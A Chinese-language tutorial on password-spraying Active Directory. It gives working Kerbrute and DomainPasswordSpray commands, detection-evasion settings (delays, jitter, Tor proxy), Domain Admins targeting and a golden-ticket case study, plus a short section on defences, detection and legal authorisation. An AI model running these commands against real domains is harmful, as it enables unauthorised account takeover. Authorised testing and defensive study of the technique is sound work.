域AD渗透手法【密码喷洒技术】
一、密码喷洒的核心原理与场景分析
原理 密码喷洒(Password Spraying)通过 横向扩展用户列表,对多个账户尝试 少量通用密码(如季节+年份组合),规避账户锁定策略。其核心逻辑是 降低单账户的失败频率,绕过安全监控。
典型场景
域内渗透:攻击者枚举 Active Directory 用户后,尝试通用密码(如 Company2024!)。
云服务攻击:针对企业邮箱(Office 365)、VPN 等公网服务,利用员工常用密码横向突破。
横向移动:通过初始权限喷洒内网其他系统的本地管理员账户,扩大控制范围。
二、主流工具对比与下载地址
三、Kerbrute 使用详解
- 工具下载与配置
下载工具: 访问 Kerbrute Releases,选择对应平台的二进制文件(如 kerbrute_windows_amd64.exe)。
环境配置: 将工具放入系统路径(如 C:\Tools)或添加环境变量以便全局调用。
- 用户枚举
命令格式
kerbrute_windows_amd64.exe userenum --dc <域控IP> -d <域名> <用户字典.txt>
示例:枚举 example.com 域用户
kerbrute_windows_amd64.exe userenum --dc 192.168.1.10 -d example.com users.txt
用户字典格式: 每行一个用户名(如 admin、user01),无需域名后缀。
输出示例:
2024/08/29 10:00:00 > [+] VALID USERNAME: admin@example.com
2024/08/29 10:00:01 > [+] VALID USERNAME: user01@example.com
3. 密码喷洒
命令格式
kerbrute_windows_amd64.exe passwordspray --dc <域控IP> -d <域名> <用户字典.txt> “<密码>” [–delay 60]
示例:喷洒密码 “P@ssw0rd2024”,间隔 60 秒
kerbrute_windows_amd64.exe passwordspray --dc 192.168.1.10 -d example.com users.txt “P@ssw0rd2024” --delay 60
参数说明:
–delay:请求间隔(秒),建议设为 60~300 以规避检测。
-v:显示详细日志(适合调试)。
- 单用户暴力破解
命令格式
kerbrute_windows_amd64.exe bruteuser --dc <域控IP> -d <域名> <密码字典.txt> <用户名>
示例:爆破用户 administrator 的密码
密码喷洒工具-kerbrute
kerbrute_windows_amd64.exe bruteuser --dc 192.168.1.10 -d example.com passwords.txt administrator
密码字典建议: 包含常见弱密码(如 Admin123、Password1)及目标企业历史泄漏密码。
四、DomainPasswordSpray.ps1 实战指南
- 工具下载与导入
下载脚本:
从 GitHub 下载(需管理员权限)
Invoke-WebRequest -Uri “https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/master/DomainPasswordSpray.ps1” -OutFile DomainPasswordSpray.ps1
导入模块:
允许执行 PowerShell 脚本
Set-ExecutionPolicy Bypass -Scope Process -Force
Import-Module .\DomainPasswordSpray.ps1
2. 自动枚举域用户
命令格式
Invoke-DomainPasswordSpray -Domain <域名> -Command GetUsers -OutFile <用户列表.txt>
示例:导出 example.com 的所有域用户
Invoke-DomainPasswordSpray -Domain example.com -Command GetUsers -OutFile users.txt
输出文件格式: 每行一个用户(如 admin、user01)。
- 密码喷洒实战
命令格式
Invoke-DomainPasswordSpray -Domain <域名> -UserList <用户列表.txt> -Password “<密码>” -Delay 120 -Jitter 20
示例:喷洒密码 “Summer2024!”,间隔 120 秒 ±20% 抖动
Invoke-DomainPasswordSpray -Domain example.com -UserList users.txt -Password “Summer2024!” -Delay 120 -Jitter 20
参数说明:
-Delay:请求间隔(默认 0,建议设为 60~300)。
-Jitter:随机抖动百分比(如 20 表示 ±20% 延迟)。
- 高级功能
密码字典批量喷洒:
使用密码字典 passwords.txt(每行一个密码)
Invoke-DomainPasswordSpray -Domain example.com -PasswordList .\passwords.txt -Delay 60
定向组攻击:
仅喷洒 Domain Admins 组用户
Get-ADGroupMember “Domain Admins” | Select-Object SamAccountName > admins.txt
Invoke-DomainPasswordSpray -UserList admins.txt -Password “Admin@123”
代理隐匿:
通过 Tor 代理(本地端口 9050)
$proxy = ‘socks5://127.0.0.1:9050’
Invoke-DomainPasswordSpray -Domain example.com -Password “P@ssw0rd” -Proxy $proxy
五、防御策略与检测手段
- 防御措施
密码策略:
强制 12 位以上混合字符,禁用常见弱密码(如 Welcome1)。
定期扫描并重置默认密码(如新员工初始密码)。
多因素认证(MFA): 在 VPN、邮箱、云控制台等关键服务启用二次验证(如 Google Authenticator)。
账户锁定策略:
单账户连续失败 5 次后锁定 15 分钟。
监控异常登录时间段(如非工作时段高频尝试)。
- 检测方法
日志监控:
Windows 事件日志:
事件 ID 4768:Kerberos 认证成功。
事件 ID 4771:Kerberos 认证失败。
事件 ID 4625:NTLM 认证失败。
SIEM 规则示例:
Splunk 查询:检测同一 IP 的频繁 AS-REQ 请求
index=windows EventCode=4768 | stats count by src_ip | where count > 30
流量分析:
Kerberos 协议:监控端口 88/TCP 的高频 AS-REQ 请求(每秒超过 5 次)。
LDAP 协议:识别密集的 (objectClass=user) 查询和 bind 操作。
六、实战案例与法律警示
- 案例:域内横向渗透
信息收集: 通过 Kerbrute 枚举域用户,生成 users.txt(包含 200 个账户)。
密码喷洒: 使用 Winter2024! 喷洒,发现 user02 账户使用该密码。
权限提升: 通过 CrackMapExec 登录 user02 的 SMB 共享,发现本地管理员密码复用。
黄金票据: 使用 Mimikatz 导出 KRBTGT 哈希,伪造黄金票据控制域控。
- 法律与道德
合法授权: 渗透测试必须获得企业书面授权,禁止未授权攻击。
漏洞报告: 发现漏洞后通过 CVE 或 CNVD 合规上报。
七、总结
通过合理选择工具与规避策略,攻击者可高效实施域内密码喷洒;防御方需结合流量监控、日志审计与多层认证,构建纵深防护体系。